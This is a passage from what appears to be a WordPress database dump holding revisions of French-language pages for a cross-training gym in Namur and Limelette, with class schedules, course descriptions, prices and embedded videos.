#A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-11-03 10:20:52', '2013-11-03 10:20:52', '', 11, 'http://www2.crosstrainingcenter.be/11-revision-v1/', 0, 'revision', '', 0),
(451, 1, '2013-11-04 16:49:45', '2013-11-04 16:49:45', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www2.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Team Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot; target=\&quot;_blank\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-11-04 16:49:45', '2013-11-04 16:49:45', '', 11, 'http://www2.crosstrainingcenter.be/11-revision-v1/', 0, 'revision', '', 0),
(443, 1, '2013-11-03 10:21:40', '2013-11-03 10:21:40', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www2.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1&gt;Team Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-11-03 10:21:40', '2013-11-03 10:21:40', '', 11, 'http://www2.crosstrainingcenter.be/11-revision-v1/', 0, 'revision', '', 0),
(444, 1, '2013-11-03 10:23:00', '2013-11-03 10:23:00', '&lt;h1&gt;Retrouvez ici les vidéos illustrant le déroulements des séances&lt;/h1&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nPrésentation du Cross Training Namur\r\n\r\n&lt;iframe src=\&quot;//www.youtube.com/embed/z_jNG_jQ8gU\&quot; height=\&quot;225\&quot; width=\&quot;300\&quot; allowfullscreen=\&quot;\&quot; frameborder=\&quot;0\&quot;&gt;&lt;/iframe&gt;\r\n\r\n&lt;/div&gt;\r\n\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nOuverture du Cross Training Limelette\r\n\r\n&lt;iframe src=\&quot;//www.youtube.com/embed/6tWEAsQ_ePQ\&quot; height=\&quot;225\&quot; width=\&quot;300\&quot; allowfullscreen=\&quot;\&quot; frameborder=\&quot;0\&quot;&gt;&lt;/iframe&gt;\r\n\r\n&lt;/div&gt;\r\n\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/table&gt;', 'En image', '', 'inherit', 'open', 'open', '', '360-revision-v1', '', '', '2013-11-03 10:23:00', '2013-11-03 10:23:00', '', 360, 'http://www2.crosstrainingcenter.be/360-revision-v1/', 0, 'revision', '', 0),
(447, 1, '2013-11-03 10:41:35', '2013-11-03 10:41:35', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\n&lt;tbody&gt;\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\n&lt;div class=\&quot;sousmenu\&quot;&gt;\n&lt;div align=\&quot;center\&quot;&gt;\n\n&lt;a title=\&quot;Les séances – Namur\&quot; href=\&quot;http://www2.crosstrainingcenter.be/les-seances/\&quot;&gt;Namur&lt;/a&gt;\n\n&lt;/div&gt;\n&lt;/div&gt;&lt;/td&gt;\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\n&lt;div class=\&quot;sousmenu\&quot;&gt;\n&lt;div align=\&quot;center\&quot;&gt;\n\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www2.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\n\n&lt;/div&gt;\n&lt;/div&gt;&lt;/td&gt;\n&lt;/tr&gt;\n&lt;/tbody&gt;\n&lt;/table&gt;\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\n&lt;h1 style=\&quot;text-align: center;\&quot;&gt;Choix d\'une salle&lt;/h1&gt;\n&lt;img class=\&quot;size-full wp-image-446 aligncenter\&quot; alt=\&quot;map\&quot; src=\&quot;http://www2.crosstrainingcenter.be/wp-content/uploads/2013/11/map.png\&quot; width=\&quot;300\&quot; height=\&quot;236\&quot; usemap=\&quot;#imagemap\&quot; /&gt;\n\n                        &lt;map name=\&quot;imagemap\&quot; id=\&quot;Map\&quot;&gt; \n                        &lt;area shape=\&quot;namur\&quot; coords=\&quot;90,84,166,108\&quot; href=\&quot;http://www2.crosstrainingcenter.be/les-seances-limelette/\&quot; /&gt; \n                        &lt;area shape=\&quot;limelette\&quot; coords=\&quot;174,121,233,132\&quot; href=\&quot;http://www2.crosstrainingcenter.be/les-seances/\&quot; /&gt; \n                        &lt;/map&gt; \n', 'Les séances', '', 'inherit', 'open', 'open', '', '385-autosave-v1', '', '', '2013-11-03 10:41:35', '2013-11-03 10:41:35', '', 385, 'http://www2.crosstrainingcenter.be/385-autosave-v1/', 0, 'revision', '', 0),
(448, 1, '2013-11-03 10:40:32', '2013-11-03 10:40:32', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Namur\&quot; href=\&quot;http://www2.crosstrainingcenter.be/les-seances/\&quot;&gt;Namur&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www2.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1 style=\&quot;text-align: center;\&quot;&gt;Choix d\'une salle&lt;/h1&gt;\r\n&lt;img class=\&quot;size-full wp-image-446 aligncenter\&quot; alt=\&quot;map\&quot; src=\&quot;http://www2.crosstrainingcenter.be/wp-content/uploads/2013/11/map.png\&quot; width=\&quot;300\&quot; height=\&quot;236\&quot; usemap=\&quot;#imagemap\&quot; /&gt;\r\n\r\n                        &lt;map name=\&quot;imagemap\&quot; id=\&quot;Map\&quot;&gt; \r\n                        &lt;area shape=\&quot;namur\&quot; coords=\&quot;90,84,166,108\&quot; href=\&quot;http://www2.crosstrainingcenter.be/les-seances-limelette/\&quot; /&gt; \r\n                        &lt;area shape=\&quot;limelette\&quot; coords=\&quot;174,121,233,132\&quot; href=\&quot;http://www2.crosstrainingcenter.be/les-seances/\&quot; /&gt; \r\n                        